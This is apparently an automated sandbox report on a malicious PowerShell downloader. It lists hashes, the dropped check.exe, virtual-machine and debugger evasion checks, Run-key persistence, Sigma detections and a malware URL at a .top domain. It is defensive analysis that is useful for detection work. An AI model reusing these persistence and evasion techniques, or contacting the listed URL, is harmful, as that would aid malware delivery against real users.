Edit tour

Windows Analysis Report
download.ps1

Overview

General Information

Sample name:	download.ps1
Analysis ID:	1571247
MD5:	e9b2e27454fc1326cdb24bfc3b55b236
SHA1:	3416a2cbba0a6c1e4e8f33f671dfea5e5aacc3f8
SHA256:	cafc0a8f8b2a71b91f6ce0768d1e27e385d14879bdd591d47adfb4e492fde5db
Tags:	KongTukeps1user-monitorsg
Infos:

Detection

Score:	80
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Multi AV Scanner detection for submitted file

AI detected suspicious sample

Found suspicious powershell code related to unpacking or dynamic code loading

Loading BitLocker PowerShell Module

Opens network shares

Powershell drops PE file

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Binary contains a suspicious time stamp

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to query CPU information (cpuid)

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Drops PE files

Enables debug privileges

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found evasive API chain checking for process token information

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

IP address seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

One or more processes crash

PE file contains executable resources (Code or Archives)

PE file contains sections with non-standard names

PE file does not import any functions

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

powershell.exe (PID: 7296 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\download.ps1" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7340 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

check.exe (PID: 7784 cmdline: "C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe" MD5: A243FE9D1CFB5BF4E5C21C6E4861E09C)

check.exe (PID: 1132 cmdline: "C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe" MD5: A243FE9D1CFB5BF4E5C21C6E4861E09C)

systeminfo.exe (PID: 7344 cmdline: systeminfo MD5: EE309A9C61511E907D87B10EF226FDCD)

conhost.exe (PID: 7388 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 3688 cmdline: C:\Windows\system32\cmd.exe /c "wmic computersystem get manufacturer" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2832 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WMIC.exe (PID: 1888 cmdline: wmic computersystem get manufacturer MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

WerFault.exe (PID: 3008 cmdline: C:\Windows\system32\WerFault.exe -u -p 1132 -s 900 MD5: FD27D9F6D02763BDE32511B5DF7FF7A0)

check.exe (PID: 5936 cmdline: "C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe" MD5: A243FE9D1CFB5BF4E5C21C6E4861E09C)

check.exe (PID: 3104 cmdline: "C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe" MD5: A243FE9D1CFB5BF4E5C21C6E4861E09C)

systeminfo.exe (PID: 4688 cmdline: systeminfo MD5: EE309A9C61511E907D87B10EF226FDCD)

conhost.exe (PID: 3716 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 5072 cmdline: C:\Windows\system32\cmd.exe /c "wmic computersystem get manufacturer" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 4920 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WMIC.exe (PID: 5288 cmdline: wmic computersystem get manufacturer MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

WerFault.exe (PID: 5888 cmdline: C:\Windows\system32\WerFault.exe -u -p 3104 -s 908 MD5: FD27D9F6D02763BDE32511B5DF7FF7A0)

check.exe (PID: 2936 cmdline: "C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe" MD5: A243FE9D1CFB5BF4E5C21C6E4861E09C)

check.exe (PID: 6132 cmdline: "C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe" MD5: A243FE9D1CFB5BF4E5C21C6E4861E09C)

systeminfo.exe (PID: 5520 cmdline: systeminfo MD5: EE309A9C61511E907D87B10EF226FDCD)

conhost.exe (PID: 5320 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 7648 cmdline: C:\Windows\system32\cmd.exe /c "wmic computersystem get manufacturer" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7656 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WMIC.exe (PID: 1352 cmdline: wmic computersystem get manufacturer MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

WerFault.exe (PID: 1424 cmdline: C:\Windows\system32\WerFault.exe -u -p 6132 -s 972 MD5: FD27D9F6D02763BDE32511B5DF7FF7A0)

cleanup

Sigma Signatures

System Summary

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\download.ps1", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\download.ps1", CommandLine|base64offset|contains: z, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3968, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\download.ps1", ProcessId: 7296, ProcessName: powershell.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe, EventID: 13, EventType: SetValue, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 7296, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\NetUtilityApp

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Source: File created

Author: frack113, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 7296, TargetFilename: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\download.ps1", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\download.ps1", CommandLine|base64offset|contains: z, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3968, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\download.ps1", ProcessId: 7296, ProcessName: powershell.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: http://hkinuxb3bz.top/1.php?s=527

Avira URL Cloud: Label: malware

Multi AV Scanner detection for submitted file

Source: download.ps1

Virustotal: Detection: 10%

Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 97.6% probability

Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Code function: 29_2_00007FF810C95DC0 CRYPTO_memcmp,	29_2_00007FF810C95DC0
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Code function: 29_2_00007FF810C911E0 _Py_NoneStruct,_PyArg_UnpackKeywords,PyObject_GetBuffer,PyObject_GetBuffer,PyLong_AsUnsignedLong,PyLong_AsUnsignedLong,PyLong_AsUnsignedLong,EVP_PBE_scrypt,PyBytes_FromStringAndSize,PyEval_SaveThread,EVP_PBE_scrypt,PyEval_RestoreThread,PyExc_ValueError,PyErr_SetString,PyBuffer_Release,PyBuffer_Release,PyLong_AsLong,PyErr_Occurred,PyLong_AsLong,PyErr_Occurred,PyExc_ValueError,PyExc_ValueError,PyErr_Format,_PyArg_BadArgument,_PyArg_BadArgument,_PyArg_BadArgument,PyExc_TypeError,PyErr_Occurred,PyExc_TypeError,PyErr_Occurred,PyExc_TypeError,PyErr_Occurred,PyExc_TypeError,PyExc_OverflowError,PyExc_OverflowError,_Py_Dealloc,PyExc_ValueError,	29_2_00007FF810C911E0
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Code function: 29_2_00007FF810CA1A23 BN_dup,BN_dup,BN_dup,BN_dup,BN_dup,BN_dup,BN_dup,BN_dup,CRYPTO_strdup,CRYPTO_strdup,ERR_new,ERR_set_debug,ERR_set_error,CRYPTO_free,CRYPTO_free,BN_free,BN_free,BN_free,BN_free,BN_free,BN_free,BN_free,BN_free,	29_2_00007FF810CA1A23
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Code function: 29_2_00007FF810CAF160 CRYPTO_free,CRYPTO_memdup,	29_2_00007FF810CAF160
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Code function: 29_2_00007FF810CA11A9 CRYPTO_free,	29_2_00007FF810CA11A9
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Code function: 29_2_00007FF810CA1A32 CRYPTO_free,CRYPTO_memdup,ERR_new,ERR_set_debug,	29_2_00007FF810CA1A32
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Code function: 29_2_00007FF810CD92E0 CRYPTO_free,CRYPTO_malloc,ERR_new,ERR_set_debug,ERR_set_error,	29_2_00007FF810CD92E0
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Code function: 29_2_00007FF810CA195B CRYPTO_zalloc,EVP_MAC_free,EVP_MAC_CTX_free,CRYPTO_free,	29_2_00007FF810CA195B
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Code function: 29_2_00007FF810CA1262 X509_free,EVP_PKEY_free,OPENSSL_sk_pop_free,CRYPTO_free,	29_2_00007FF810CA1262
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Code function: 29_2_00007FF810CA1B90 CRYPTO_malloc,ERR_new,ERR_set_debug,ERR_set_error,CRYPTO_free,	29_2_00007FF810CA1B90
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Code function: 29_2_00007FF810CA1F8C CRYPTO_free,CRYPTO_malloc,ERR_new,ERR_set_debug,	29_2_00007FF810CA1F8C
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Code function: 29_2_00007FF810CAD227 CRYPTO_free,CRYPTO_strdup,ERR_new,ERR_set_debug,ERR_set_error,ERR_new,ERR_set_debug,ERR_set_error,ERR_new,ERR_set_debug,ERR_set_error,	29_2_00007FF810CAD227
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Code function: 29_2_00007FF810CAD3CA CRYPTO_free,	29_2_00007FF810CAD3CA
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Code function: 29_2_00007FF810CA111D CRYPTO_zalloc,ERR_new,ERR_set_debug,ERR_set_error,CRYPTO_THREAD_lock_new,ERR_new,ERR_set_debug,ERR_set_error,CRYPTO_free,EVP_PKEY_up_ref,X509_up_ref,EVP_PKEY_up_ref,X509_chain_up_ref,CRYPTO_malloc,memcpy,CRYPTO_malloc,memcpy,ERR_new,ERR_set_debug,ERR_set_error,EVP_PKEY_free,X509_free,EVP_PKEY_free,OPENSSL_sk_pop_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,X509_STORE_free,X509_STORE_free,CRYPTO_free,CRYPTO_THREAD_lock_free,CRYPTO_free,ERR_new,CRYPTO_malloc,memcpy,CRYPTO_memdup,X509_STORE_up_ref,X509_STORE_up_ref,CRYPTO_strdup,	29_2_00007FF810CA111D
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Code function: 29_2_00007FF810CAB300 CRYPTO_clear_free,	29_2_00007FF810CAB300
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Code function: 29_2_00007FF810CA1677 CRYPTO_THREAD_write_lock,OPENSSL_LH_retrieve,OPENSSL_LH_delete,CRYPTO_THREAD_unlock,	29_2_00007FF810CA1677
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Code function: 29_2_00007FF810CA17F8 EVP_MD_CTX_new,EVP_PKEY_new_raw_private_key_ex,EVP_DigestSignInit_ex,EVP_DigestSign,EVP_MD_CTX_free,EVP_PKEY_free,CRYPTO_memcmp,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,_time64,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,EVP_MD_CTX_free,EVP_PKEY_free,ERR_new,ERR_set_debug,EVP_MD_CTX_free,EVP_PKEY_free,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,	29_2_00007FF810CA17F8
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Code function: 29_2_00007FF810CA1992 ERR_new,ERR_set_debug,ERR_set_error,ERR_new,ERR_set_debug,ERR_set_error,ERR_new,ERR_set_debug,ERR_set_error,CRYPTO_zalloc,CRYPTO_THREAD_lock_new,ERR_new,ERR_set_debug,ERR_set_error,CRYPTO_free,CRYPTO_strdup,OPENSSL_LH_new,X509_STORE_new,CTLOG_STORE_new_ex,OPENSSL_sk_num,X509_VERIFY_PARAM_new,OPENSSL_sk_new_null,OPENSSL_sk_new_null,CRYPTO_new_ex_data,CRYPTO_secure_zalloc,RAND_bytes_ex,RAND_priv_bytes_ex,RAND_priv_bytes_ex,RAND_priv_bytes_ex,ERR_new,ERR_set_debug,	29_2_00007FF810CA1992
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Code function: 29_2_00007FF810CA1393 CRYPTO_malloc,ERR_new,ERR_set_debug,ERR_set_error,memcpy,	29_2_00007FF810CA1393
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Code function: 29_2_00007FF810CA1EDD CRYPTO_malloc,ERR_new,ERR_set_debug,ERR_set_error,OPENSSL_sk_find,CRYPTO_free,ERR_new,ERR_set_debug,OPENSSL_sk_push,CRYPTO_free,ERR_new,ERR_new,ERR_set_debug,ERR_set_error,	29_2_00007FF810CA1EDD
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Code function: 29_2_00007FF810CA1444 EVP_MD_CTX_new,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,EVP_MD_CTX_free,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,CRYPTO_memcmp,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,memcpy,memcpy,	29_2_00007FF810CA1444
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Code function: 29_2_00007FF810CA2126 memcpy,CRYPTO_THREAD_read_lock,OPENSSL_LH_retrieve,CRYPTO_THREAD_unlock,CRYPTO_THREAD_unlock,memcmp,ERR_new,ERR_set_debug,_time64,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,	29_2_00007FF810CA2126
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Code function: 29_2_00007FF810CA1997 ERR_new,ERR_set_debug,EVP_PKEY_CTX_new_from_pkey,CRYPTO_malloc,ERR_new,ERR_set_debug,EVP_PKEY_decapsulate,ERR_new,ERR_new,ERR_set_debug,CRYPTO_clear_free,EVP_PKEY_CTX_free,	29_2_00007FF810CA1997
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Code function: 29_2_00007FF810D1B430 ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,CRYPTO_malloc,ERR_new,ERR_set_debug,EVP_PKEY_CTX_new_from_pkey,ERR_new,ERR_set_debug,EVP_PKEY_decrypt_init,EVP_PKEY_CTX_set_rsa_padding,OSSL_PARAM_construct_uint,OSSL_PARAM_construct_end,EVP_PKEY_CTX_set_params,EVP_PKEY_decrypt,OPENSSL_cleanse,ERR_new,ERR_new,ERR_new,ERR_set_debug,CRYPTO_free,EVP_PKEY_CTX_free,	29_2_00007FF810D1B430
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Code function: 29_2_00007FF810CA21E9 ERR_new,ERR_set_debug,CRYPTO_free,CRYPTO_malloc,ERR_new,ERR_set_debug,memcpy,ERR_new,ERR_set_debug,	29_2_00007FF810CA21E9
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Code function: 29_2_00007FF810CA2469 CRYPTO_memcmp,ERR_new,ERR_set_debug,memchr,ERR_new,CRYPTO_free,CRYPTO_free,CRYPTO_strndup,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,	29_2_00007FF810CA2469
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Code function: 29_2_00007FF810CA1181 CRYPTO_free,CRYPTO_free,CRYPTO_free,	29_2_00007FF810CA1181
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Code function: 29_2_00007FF810CA2379 CRYPTO_free,	29_2_00007FF810CA2379

Source:	Binary string: C:\Users\qt\work\qt\qtsvg\plugins\imageformats\qsvg.pdb source: check.exe, 00000009.00000003.1535038874.000001B4340E4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\qt\work\qt\qtsvg\plugins\iconengines\qsvgicon.pdb source: check.exe, 00000009.00000003.1534307223.000001B4340E4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\qt\work\qt\qtbase\plugins\generic\qtuiotouchplugin.pdb source: check.exe, 00000009.00000003.1534110253.000001B4340E4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: d:\agent\_work\1\s\\binaries\amd64ret\bin\amd64\\msvcp140.amd64.pdb source: check.exe, 0000000A.00000002.1929551289.00007FF820045000.00000002.00000001.01000000.00000013.sdmp
Source:	Binary string: C:\Users\qt\work\qt\qtbase\plugins\imageformats\qico.pdb source: check.exe, 00000009.00000003.1534706073.000001B4340E4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: @ compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -D"OPENSSL_BUILDING_OPENSSL" -D"OPENSSL_SYS_WIN32" -D"WIN32_LEAN_AND_MEAN" -D"UNICODE" -D"_UNICODE" -D"_CRT_SECURE_NO_DEPRECATE" -D"_WINSOCK_DEPRECATED_NO_WARNINGS" -D"NDEBUG"OpenSSL 3.0.15 3 Sep 20243.0.15built on: Wed Sep 4 15:52:04 2024 UTCplatform: VC-WIN64A-masmOPENSSLDIR: "C:\Program Files\Common Files\SSL"ENGINESDIR: "C:\Program Files\OpenSSL\lib\engines-3"MODULESDIR: "C:\Program Files\OpenSSL\lib\ossl-modules"CPUINFO: N/Anot availableget_and_lock..\s\crypto\ex_data.cossl_crypto_get_ex_new_index_exossl_crypto_new_ex_data_exCRYPTO_dup_ex_dataCRYPTO_set_ex_dataOPENSSL_WIN32_UTF8..\s\crypto\getenv.ccompiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -D"OPENSSL_BUILDING_OPENSSL" -D"OPENSSL_SYS_WIN32" -D"WIN32_LEAN_AND_MEAN" -D"UNICODE" -D"_UNICODE" -D"_CRT_SECURE_NO_DEPRECATE" -D"_WINSOCK_DEPRECATED_NO_WARNINGS" -D"NDEBUG";CPUINFO: OPENSSL_ia32cap=0x%llx:0x%llxOPENSSL_ia32cap env:%sos-specificC:\Program Files\Common Files\SSLC:\Program Files\OpenSSL\lib\ossl-modules.dllCPUINFO: ..\s\crypto\init.cOPENSSL_init_cryptoOPENSSL_atexit..\s\crypto\initthread.c..\s\crypto\mem_sec.cassertion failed: (bit & 1) == 0assertion failed: list >= 0 && list < sh.freelist_sizeassertion failed: ((ptr - sh.arena) & ((sh.arena_size >> list) - 1)) == 0assertion failed: bit > 0 && bit < sh.bittable_sizeassertion failed: TESTBIT(table, bit)assertion failed: !TESTBIT(table, bit)assertion failed: WITHIN_FREELIST(list)assertion failed: WITHIN_ARENA(ptr)assertion failed: temp->next == NULL \|\| WITHIN_ARENA(temp->next)assertion failed: (char *)temp->next->p_next == listassertion failed: WITHIN_FREELIST(temp2->p_next) \|\| WITHIN_ARENA(temp2->p_next)assertion failed: size > 0assertion failed: (size & (size - 1)) == 0assertion failed: (minsize & (minsize - 1)) == 0assertion failed: sh.freelist != NULLassertion failed: sh.bittable != NULLassertion failed: sh.bitmalloc != NULLassertion failed: !sh_testbit(temp, slist, sh.bitmalloc)assertion failed: temp != sh.freelist[slist]assertion failed: sh.freelist[slist] == tempassertion failed: temp-(sh.arena_size >> slist) == sh_find_my_buddy(temp, slist)assertion failed: sh_testbit(chunk, list, sh.bittable)assertion failed: WITHIN_ARENA(chunk)assertion failed: sh_testbit(ptr, list, sh.bittable)assertion failed: ptr == sh_find_my_buddy(buddy, list)assertion failed: ptr != NULLassertion failed: !sh_testbit(ptr, list, sh.bitmalloc)assertion failed: sh.freelist[list] == ptr/0123456789ABCDEFCRYPTO_memdup..\s\crypto\o_str.chexstr2buf_sepossl_hexstr2buf_sepbuf2hexstr_sepossl_buf2hexstr_sep..\s\crypto\packet.cwpacket_intern_init_lenWPACKET_start_sub_packet_len__..\s\crypto\param_build.cparam_pushparam_push_numOSSL_PARAM_BLD_push_BN_padNegative big numbers are unsupported for OSSL_PARAMOSSL_PARAM_BLD_push_utf8_stringOSSL_PARAM_BLD_push_utf8_ptrOSSL_PARAM_BLD_push_octet_stringOSSL_PARAM_BLD_p
Source:	Binary string: compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -D"OPENSSL_BUILDING_OPENSSL" -D"OPENSSL_SYS_WIN32" -D"WIN32_LEAN_AND_MEAN" -D"UNICODE" -D"_UNICODE" -D"_CRT_SECURE_NO_DEPRECATE" -D"_WINSOCK_DEPRECATED_NO_WARNINGS" -D"NDEBUG" source: check.exe, 0000000A.00000002.1919072539.00007FF817012000.00000002.00000001.01000000.0000001A.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdbGCTL source: check.exe, 00000009.00000003.1553092763.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp, check.exe, 0000000A.00000002.1934814344.00007FF8328F4000.00000002.00000001.01000000.0000000B.sdmp
Source:	Binary string: d:\agent\_work\1\s\\binaries\amd64ret\bin\amd64\\vcruntime140_1.amd64.pdb source: check.exe, 00000009.00000003.1519013024.000001B4340E4000.00000004.00000020.00020000.00000000.sdmp, check.exe, 0000000A.00000002.1932912138.00007FF8312D5000.00000002.00000001.01000000.00000015.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140_1.amd64.pdb source: check.exe, 00000009.00000003.1553493586.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\qt\work\qt\qtbase\plugins\styles\qwindowsvistastyle.pdb%% source: check.exe, 0000000A.00000002.1844584196.00007FF815697000.00000002.00000001.01000000.00000027.sdmp
Source:	Binary string: C:\Users\qt\work\qt\qtbase\plugins\styles\qwindowsvistastyle.pdb source: check.exe, 0000000A.00000002.1844584196.00007FF815697000.00000002.00000001.01000000.00000027.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_ctypes.pdb source: check.exe, 0000000A.00000002.1934058230.00007FF8328C3000.00000002.00000001.01000000.0000000D.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_hashlib.pdb source: check.exe, 00000009.00000003.1554542632.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp, check.exe, 0000000A.00000002.1932337346.00007FF82F996000.00000002.00000001.01000000.0000001C.sdmp
Source:	Binary string: C:\Users\qt\work\qt\qtbase\plugins\imageformats\qico.pdb source: check.exe, 00000009.00000003.1534706073.000001B4340E4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\qt\work\qt\qtbase\plugins\generic\qtuiotouchplugin.pdb source: check.exe, 00000009.00000003.1534110253.000001B4340E4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\qt\work\qt\qtbase\lib\Qt5Core.pdbT source: check.exe, 0000000A.00000002.1922404074.00007FF8175E6000.00000002.00000001.01000000.00000012.sdmp
Source:	Binary string: C:\Users\qt\work\qt\qtbase\lib\Qt5Gui.pdb source: check.exe, 0000000A.00000002.1893210919.00007FF8163DA000.00000002.00000001.01000000.00000023.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_lzma.pdb source: check.exe, 00000009.00000003.1554667624.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp, check.exe, 0000000A.00000002.1933226912.00007FF8314CB000.00000002.00000001.01000000.00000010.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_bz2.pdb source: check.exe, 00000009.00000003.1553729160.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp, check.exe, 0000000A.00000002.1933661076.00007FF8327DD000.00000002.00000001.01000000.0000000F.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_socket.pdb source: check.exe, 00000009.00000003.1555003612.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp, check.exe, 0000000A.00000002.1930467841.00007FF8217D9000.00000002.00000001.01000000.00000017.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\python313.pdb source: check.exe, 0000000A.00000002.1926008632.00007FF817DB8000.00000002.00000001.01000000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140_1.amd64.pdbGCTL source: check.exe, 00000009.00000003.1553493586.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: d:\agent\_work\1\s\\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdb source: check.exe, 00000009.00000003.1518870580.000001B4340E4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\qt\work\qt\qtimageformats\plugins\imageformats\qtiff.pdbBB source: check.exe, 00000009.00000003.1535266228.000001B4340E4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\qt\work\qt\qtbase\plugins\platformthemes\qxdgdesktopportal.pdb source: check.exe, 00000009.00000003.1537482169.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\unicodedata.pdb source: check.exe, 00000009.00000003.1564570590.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp, check.exe, 0000000A.00000002.1908082634.00007FF816C57000.00000002.00000001.01000000.00000020.sdmp
Source:	Binary string: d:\agent\_work\1\s\\binaries\amd64ret\bin\amd64\\msvcp140_1.amd64.pdb source: check.exe, 00000009.00000003.1507846068.000001B4340E4000.00000004.00000020.00020000.00000000.sdmp, check.exe, 0000000A.00000002.1933483639.00007FF8327C3000.00000002.00000001.01000000.00000014.sdmp, check.exe, 0000000B.00000003.1607144680.000002576C6C2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\libcrypto-3.pdb\| source: check.exe, 0000000A.00000002.1919072539.00007FF8170AA000.00000002.00000001.01000000.0000001A.sdmp
